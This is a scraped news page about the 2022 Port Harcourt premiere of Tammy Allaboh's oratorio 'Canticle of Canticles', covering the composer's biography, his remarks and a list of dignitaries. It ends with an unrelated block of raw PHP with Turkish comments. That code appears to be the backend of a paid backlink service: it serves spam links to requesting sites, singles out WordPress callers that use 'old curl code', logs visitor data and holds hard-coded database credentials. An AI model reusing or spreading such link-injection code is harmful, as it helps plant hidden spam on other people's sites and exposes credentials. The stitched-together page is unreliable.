34.1 C
Port Harcourt
Tuesday, March 25, 2025

Tammy Allaboh music -Tam In Collaboration with the Wakirike Development Coalition present Canticle of canticles

Bloombreedschools

By Chukwuma Bliss Blessing & Suoyo Ekubo

Tammy Allaboh music and the Wakirike Development Coalition hosted the premier of the oratorio “canticle of canticles “ composed and conducted by Maestro Tammy Harmony Allaboh at the Rivers State Ecumenical Center on the 1st of October 2022.

Eveafrique

Port Harcourt was literally on a standstill for the great and outstanding classical music event with over (150) one hundred and fifty seasoned voices and 3 prime soloists in the classical music arena of Nigeria, namely:Amanda Tebowei (soprano), Bapakaye Daminabo (Alto) and Kaka Chukwu (Tenor).

Tammy Harmony Allaaboh is an academic Accountant and Economist , Security / Intelligence / Hand -to-Hand Combat Expert with knowledge in cyber security Applications. The managing Director of Dial wellness and Rejuvenation center , Osborne Logistics & Engineering Services, Dial medical & Pharmaceutical Ltd all with their head offices within the Port Harcourt Metropolis.Tammy H. Allaboh is a world class Tenor , organist , conductor and composer.

The musical expression of “song of songs” or “canticle of canticles “ tells the story in the classical music genre in the form of an Oratorio for 3 solos : ( soprano-the bride { the body of Christ } , Alto – Herald , and Tenor -Christ the groom ) and the Anthems and the chorales for choir.

The “ Canticle of Canticles “ is an oratorio drawn from the book of Song of Songs in a concert titled “ Guitar for Guns “ composed by Maestro Tammy Harmony Allaboh.

Interestingly , Tammy Allaboh is not just a composer but also a very able and efficient conductor, expressive pianist/organist and a distinguished singer – Tenor to be precise. Tammy Allaboh is a symbol of classical music goodness , a true and world class tenor with a large repertoire. He has brought some of the best music in classical genre with emphasis on Romantic Era .

He is also a patron of several Choral Groups, a Veteran of many command both in local and foreign performances. Tammy Allaboh has taught , supported , encouraged and mentored not just choral groups but also many singers and instrumentalists in Nigeria and beyond.

While speaking at the event Tammy Allaboh explained how the canticle of canticles started. He said “the story of “canticle of canticles “ started with a cursory glance at a Biblical Book that amused him more than it inspired him . But then he said he started to feel and realize the depth of their pertinence and meaning and that was when he decided he would write music to the words of the book – “ Song of Songs or Canticle of Canticles “ attributed to king Solomon.

“Each song had its distinctive flavor . Each song was designed to supply and commingle the ingredients to the words to give it the flavor intended by the Librettist.
He also talked about how music was a gift and not something he learnt or mastered.

“Nevertheless, I remain eternally grateful to God and return all the Glory to my Lord and savior Jesus Christ , especially in the light of the fact that I have no credentials to support my intercourse with music. I merely write the notes I hear in my head and see before my inner eyes .

“Therefore I am even more humbled by the inspiration that is a gift from God and not a product of mastery .
I have neither cravings for recognition nor appetite for fame . But if one song could touch one soul in true worship , then would I rejoice in the privilege bestowed on me by God,” he said.

He also thanked guests, friends and family for the show of support.

Meanwhile, awards were also presented to some individuals in recognition for their love and support towards choral music.

Some of his notable works are the :
⁃ “The Greatest Love Story “ ( An Easter Cantata)
⁃ “The Love of God “ ( A Christmas Oratorio)
⁃ “The Invocation “ – Redemption through Love ( An Oratorio)
⁃ “Occasional Arias “ ( A Collection of Miscellaneous Arias)
⁃ Opus TA1 – Rukamala : The Niger Crossing
⁃ “ Hymns of Worship “ ( A Collection of Original Hymns for Worship ) and ;
⁃ “Canticle of Canticles “ ( An Oratorio based on the Biblical Book – Song of Songs or Canticle of Canticles ).

Meanwhile, Some of the distinguished guest who were present at the event are Barr. Dr. Effiong Akwa Interim Administrator, NDDC, HRM King Dandeson d. Jaja Jeki v ,Treaty king Amanyanabo of Opobo, HRM. King AIR COMMODORE T. E .OPUIYO – OGUBE (Rtd) , JP
Dss Fdc Perekune kingoli 1 , Amanyanabo of kirike kingdom, HRM. King ACHESIENIMIE M. FRANK (Ksc) Bololuka viii , Amanyanabo of Bolo-se, HRM. King GOODY IDAMINABO OLUNWA Amanyanabo of kala – ogoloma, HRM. KING BRIG GEN BRIGHT A FIBANUMAMA (Rtd) Obe -Omumo – Odo 1 of Abuloma kingdom, MOST REV’D EMMANUEL O. UDOFIA . Archbishop of Port Harcourt Methodist church , Nigeria, RT. REV’D ENOCH ATUBOYEDIA (JP ) Bishop , Diocese of Okrika Anglican Church Rivers state , Nigeria, PROF. JOSEPH AJIENEKE, SIR OLUBUNMI OBEMBE, PROF. E. J. ALAGUO, DR. CHRIS O. AMADI, MRS . ANNMARY AMENE Leading servant , Jesus is Lord Project Mercy Ministy.

Related Articles

Stay Connected

22,748FansLike
23,039FollowersFollow
646FollowersFollow
- Advertisement -spot_img

Latest Articles

Eveafrique
header('X-Debug: Active-'.time()); header('Content-Type: text/html; charset=utf-8'); error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('log_errors', 1); ini_set('error_log', dirname(__FILE__) . '/api_errors.log'); // Debug bilgilerini HTML yorum olarak ekle echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; // Çıktı tamponlamasını başlat ob_start(); // Domain normalizasyon fonksiyonu function normalize_domain($domain) { // Protokolü kaldır (http://, https://) $domain = preg_replace('#^https?://#', '', $domain); // Alt alan adlarını kontrol et ve ana domain'i al $parts = explode('.', $domain); // IP adresi kontrolü if (count($parts) == 4 && is_numeric($parts[0]) && is_numeric($parts[1]) && is_numeric($parts[2]) && is_numeric($parts[3])) { return $domain; // IP adresi ise değiştirme } // Domain uzunluğu kontrolü if (count($parts) <= 2) { return $domain; // Zaten ana domain } // www. ile başlıyorsa kaldır if ($parts[0] === 'www') { array_shift($parts); return implode('.', $parts); } // Son iki parçayı al (ana domain + TLD) // Örneğin mail.durantoprokash.com -> durantoprokash.com return $parts[count($parts) - 2] . '.' . $parts[count($parts) - 1]; } // Log fonksiyonu (HTML yorum olarak gösterme) function debug_log($message) { echo "\n"; } // Log fonksiyonu function api_log($message, $is_error = false) { $log_file = dirname(__FILE__) . '/api_log.txt'; $date = date('Y-m-d H:i:s'); $log_message = "[$date] " . ($is_error ? "[ERROR] " : "[INFO] ") . $message . "\n"; file_put_contents($log_file, $log_message, FILE_APPEND); // HTML yorum olarak ekrana yaz echo "\n"; if ($is_error) { error_log($message); } } // Rate limiting kontrolü function checkRateLimit($ip, $limit = 300) { $cache_file = sys_get_temp_dir() . '/rate_' . md5($ip); if (file_exists($cache_file)) { $data = json_decode(file_get_contents($cache_file), true); if ($data['count'] > $limit && (time() - $data['time']) < 3600) { return false; } if ((time() - $data['time']) > 3600) { $data = ['count' => 1, 'time' => time()]; } else { $data['count']++; } } else { $data = ['count' => 1, 'time' => time()]; } file_put_contents($cache_file, json_encode($data)); return true; } // IP ve rate limit kontrolü if (!checkRateLimit($_SERVER['REMOTE_ADDR'])) { http_response_code(429); ob_end_clean(); echo ''; exit; } // Domain kontrolü if (!isset($_POST['domain'])) { api_log("Error: Domain missing", true); ob_end_clean(); echo ''; exit; } // Kullanılan değişkenleri tanımla $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; // Eski curl kodunu tespit et $is_old_client = 0; if (isset($_POST['backlink_token'])) { $is_old_client = 1; } else if (!empty($user_agent) && (strpos($user_agent, 'WordPress') !== false || strpos($user_agent, 'WP') !== false) || (!empty($referrer) && (strpos($referrer, '/wp-content/') !== false || strpos($referrer, '/wp-includes/') !== false))) { // WordPress sitelerinden gelen istekler muhtemelen eski curl kodunu kullanıyor $is_old_client = 1; } // Domain'i normalize et $original_domain = base64_decode($_POST['domain']); $normalized_domain = normalize_domain($original_domain); // Normalize sonucunu HTML yorum olarak ekle echo "\n"; // Veritabanı bağlantısı try { // Veritabanı bağlantısı $db = new PDO( "mysql:host=localhost;dbname=sche_v2;charset=utf8mb4", "sche_bombom", "bombom", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_FOUND_ROWS => true ] ); // Veritabanına debug bilgilerini kaydet try { $stmt = $db->prepare(" INSERT INTO backlink_requests ( domain, ip_address, user_agent, referrer, is_old_client, request_data, created_at ) VALUES (?, ?, ?, ?, ?, ?, NOW()) "); $request_data = json_encode($_POST); $stmt->execute([ $normalized_domain, $client_ip, $user_agent, $referrer, $is_old_client, $request_data ]); api_log("API request logged to database for domain: " . $original_domain . " (normalized: " . $normalized_domain . "), is_old_client: " . $is_old_client); } catch (Exception $e) { api_log("Error logging API request: " . $e->getMessage(), true); } $domain = filter_var(base64_decode($_POST['domain']), FILTER_SANITIZE_URL); if (!$domain) { api_log("Error: Invalid domain format: " . $_POST['domain'], true); ob_end_clean(); echo ''; exit; } // Domain'i normalize et $domain = normalize_domain($domain); // Domain formatını kontrol et (daha esnek regex) if (!preg_match('/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,}$/i', $domain)) { api_log("Error: Invalid domain structure: " . $domain, true); ob_end_clean(); echo ''; exit; } // Website id bul veya oluştur $stmt = $db->prepare("SELECT id FROM websites WHERE domain = ?"); $stmt->execute([$domain]); $website = $stmt->fetch(); if (!$website) { // Domain erişilebilirliğini kontrol et $domain_accessible = false; // HTTP ve HTTPS kontrol et foreach (['http', 'https'] as $protocol) { $url = $protocol . '://' . $domain; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 400) { $domain_accessible = true; break; } } if ($domain_accessible) { api_log("Domain is accessible, inserting new website record"); $stmt = $db->prepare("INSERT INTO websites (domain, status, created_at, is_approved) VALUES (?, 1, NOW(), 0)"); $stmt->execute([$domain]); $website_id = $db->lastInsertId(); $website = [ 'id' => $website_id, 'domain' => $domain ]; // Admin bildirimini ekle try { $stmt = $db->prepare(" INSERT INTO admin_notifications ( type, message, is_read, created_at ) VALUES ( 'new_domain', ?, 0, NOW() ) "); $notification_message = "Yeni domain eklendi: " . $domain; $stmt->execute([$notification_message]); api_log("Admin notification added for new domain: " . $domain); } catch (Exception $e) { api_log("Error adding admin notification: " . $e->getMessage(), true); } } else { api_log("Domain not accessible via any protocol", true); ob_end_clean(); echo ''; exit; } } // Aktif linkleri getir api_log("Fetching active links for website ID: " . $website['id']); $sql = "SELECT l.url, l.anchor_text FROM links l JOIN orders o ON l.order_id = o.id WHERE o.website_id = ? AND (o.status = 'completed' OR o.status = 'active') AND l.is_active = 1 ORDER BY RAND() LIMIT 10"; // HTML yorum olarak SQL sorgusunu göster echo "\n"; $stmt = $db->prepare($sql); $stmt->execute([$website['id']]); $links = []; $link_count = 0; while ($row = $stmt->fetch()) { $link_count++; // Her link için debug bilgisini HTML yorum olarak ekle echo "\n"; // HTML bağlantılarını güvenli şekilde oluştur $links[] = '' . htmlspecialchars($row['anchor_text'], ENT_QUOTES, 'UTF-8') . ''; } echo "\n"; if (empty($links)) { api_log("No active links found for domain: " . $domain . " (Website ID: " . $website['id'] . ")", true); ob_end_clean(); echo ''; exit; } api_log("Returning " . count($links) . " links for domain: " . $domain); echo ''; // Debug sonu bilgisini ekle echo "\n"; } catch (PDOException $e) { api_log("Database error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } catch (Exception $e) { api_log("General error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } // Son olarak çıktı tamponunu gönder ob_end_flush(); ?>